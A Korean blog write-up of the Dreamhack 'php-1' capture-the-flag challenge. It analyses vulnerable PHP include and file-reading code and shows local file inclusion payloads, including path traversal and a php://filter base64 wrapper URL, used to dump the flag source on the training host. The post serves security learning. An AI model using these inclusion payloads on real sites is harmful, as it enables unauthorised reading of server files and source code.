php-1

2026. 2. 2. 23:29·Dreamhack 워게임/Lv.1
반응형

문제 설명

php로 작성된 Back Office 서비스입니다.

 

LFI 취약점을 이용해 플래그를 획득하세요.

플래그는 /var/www/uploads/flag.php에 있습니다.


코드 분석

index.php

...
<?php
    include $_GET['page']?$_GET['page'].'.php':'main.php';
?>
...
  • page 파라미터로 동적 include
    ?page=main 이라고 쓰면 main.php 출력, ?page=list 이라고 쓰면 list.php 출력

list.php

<?php
    $directory = '../uploads/';
    $scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
    foreach ($scanned_directory as $key => $value) {
        echo "<li><a href='/?page=view&file={$directory}{$value}'>".$value."</a></li><br/>";
    }
?>
  • ../uploads/ 폴더를 스캔해서 파일 리스트 출력
    • 파일 클릭 시 /?page=view&file ../uploads/파일명 형태

view.php

<?php
    $file = $_GET['file']?$_GET['file']:'';
    if(preg_match('/flag|:/i', $file)){
        exit('Permission denied');
    }
    echo file_get_contents($file);
?>
  • file 파라미터로 파일 읽기
  • flag 또는 : 포함되면 차단 (옵션 i 때문에 대소문자 무관하게 차단)
  • 아니면 file_get_contents()로 출력

취약점 분석

  • page 값 검증 없음 → pathtraversal 가능
  • php://filter 같은 래퍼 허용
  • flag /: 만 차단 → 일반 파일은 읽힘

익스플로잇

먼저 list에 들어가서 flag.php와 hello.json 파일 들어가서 URL과 출력화면 확인해 봄

http://host3.dreamhack.games:19636/?page=view&file=../uploads/flag.php

http://host3.dreamhack.games:19636/?page=view&file=../uploads/hello.json

  • hello.json파일을 통해 사용자가 입력한 경로를 따라가서 파일을 읽고 있다는 것을 확인 가능
    LFI와 PathTraversal의 증거

아까 index.php에서 .php가 자동으로 include 되는 것을 확인했음

따라서 page= ../uploads/flag 를 하면 실제로는 ../uploads/flag.php가 됨

page=../uploads/flag -> ../uploads/flag.php

다음과 같이 URL을 작성해 줌

http://host3.dreamhack.games:19636/?page=../uploads/flag

문자열을 확인해보니 can you see $flag? 라는 문자열이 브라우저에 출력됨

 

flag.php가 include 됐지만 화면에  $flag가 안 보이지만 실행만 된다는 것을 확인

 

php://filter로 소스 덤프

/?page=php://filter/convert.base64-encode/resource=../uploads/flag

다음과 같이 인코딩 된 문자열이 나오고 이 문자열을 디코딩해주면


php://filter

: PHP의 스트림 래퍼(Wrapper) 중 하나이다. 파일을 읽거나 include할 때 데이터를 변환(필터링)해서 다루게 해주는 기능이다.

쉽게 말해, include나 filter_get_content가 파일을 읽을 때 그 내용을 그대로 실행/출력하지 않고 변환해서 가져올 수 있다.

 

대표적으로 다음과 같이 작성

php://filter/convert.base64-encode/resource=파일경로
  • 파일 내용을 base64로 인코딩해서 읽어오라는 뜻

자주 쓰는 것

  •  convert.base64-encode
        → 파일 내용을 base64로 만들어서 소스 덤프용으로 사용
  •  convert.base64-decode
        → 반대로 디코딩 (보통 data://랑 같이 씀)
  •  string.rot13
        → ROT13 변환
  •   string.toupper / string.tolower
        → 대/소문자 변환
반응형

'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글

easy client side  (0) 2026.02.03
easy server side  (0) 2026.02.03
image-storage  (0) 2026.02.02
simple-ssti  (0) 2026.01.30
simple_sqli chatgpt  (0) 2026.01.30
'Dreamhack 워게임/Lv.1' 카테고리의 다른 글
  • easy client side
  • easy server side
  • image-storage
  • simple-ssti
y3onbug5
y3onbug5
y3onbug5 님의 블로그 입니다.
  • y3onbug5
    y3onbug5 님의 블로그
    y3onbug5
  • 전체
    오늘
    어제
    • 분류 전체보기 (167) N
      • Alpacahack (19) N
      • Dreamhack 워게임 (49)
        • Lv.1 (40)
        • Lv.0 (4)
        • LV.2 (3)
        • LV.3 (2)
      • [Dreamhack] Web Beginner (3)
      • [Dreamhack] Web Hacking (17)
        • 웹 기초 지식 (4)
        • Cookie & Session (2)
        • Cross-Site Scripting(XSS) (1)
        • Cross-Site Request Forgery (1)
        • SQL Injection (4)
        • NoSQL Injection (2)
        • Command Injection (1)
        • File Vulnerability (1)
        • Server-Side Request Forgery (1)
      • [Dreamhack] Web Hacking Client-Side (10)
        • XSS Filtering Bypass (2)
        • Content Security Policy (CSP) (2)
        • CSRF,CORS Bypass (2)
        • Client-Side Template Injection (CSTI) (1)
        • CSS Injection (1)
        • Relative Path Overwrite (RPO) (1)
        • DOM Vulnerability (1)
      • [Dreamhack] Web Hacking Server-Side (15)
        • SQL Injection Advanced (4)
        • SQL Injection Advanced - Fingerprinting (2)
        • NoSQL Injection Advanced (3)
        • Command Injection Advanced - Web Servers (3)
        • File Vulnerability Advanced - Web Server (3)
      • [Dreamhack]Black-Box Penetration Testing (15)
        • DreamCommunity Penetration Testing (11)
      • [Dreamhack] LLM (2)
        • [Dreamhack] LLM과 프롬프트 엔지니어링 (2)
      • Web 공부 (4)
      • Web Study (15)
      • JavaScript (17)
        • 기초 (12)
        • 중급 (4)
      • 웹 개발(Flask) (0)
      • [Security First] web 기초교육 (1) N
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    JavaScript
    webhacking
    webstudy
    hacking
    DreamHack
    cve
    JS
    드림핵
    xss
    alpacahack
    CSRF
    web
    LLM
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.5
y3onbug5
php-1
상단으로

티스토리툴바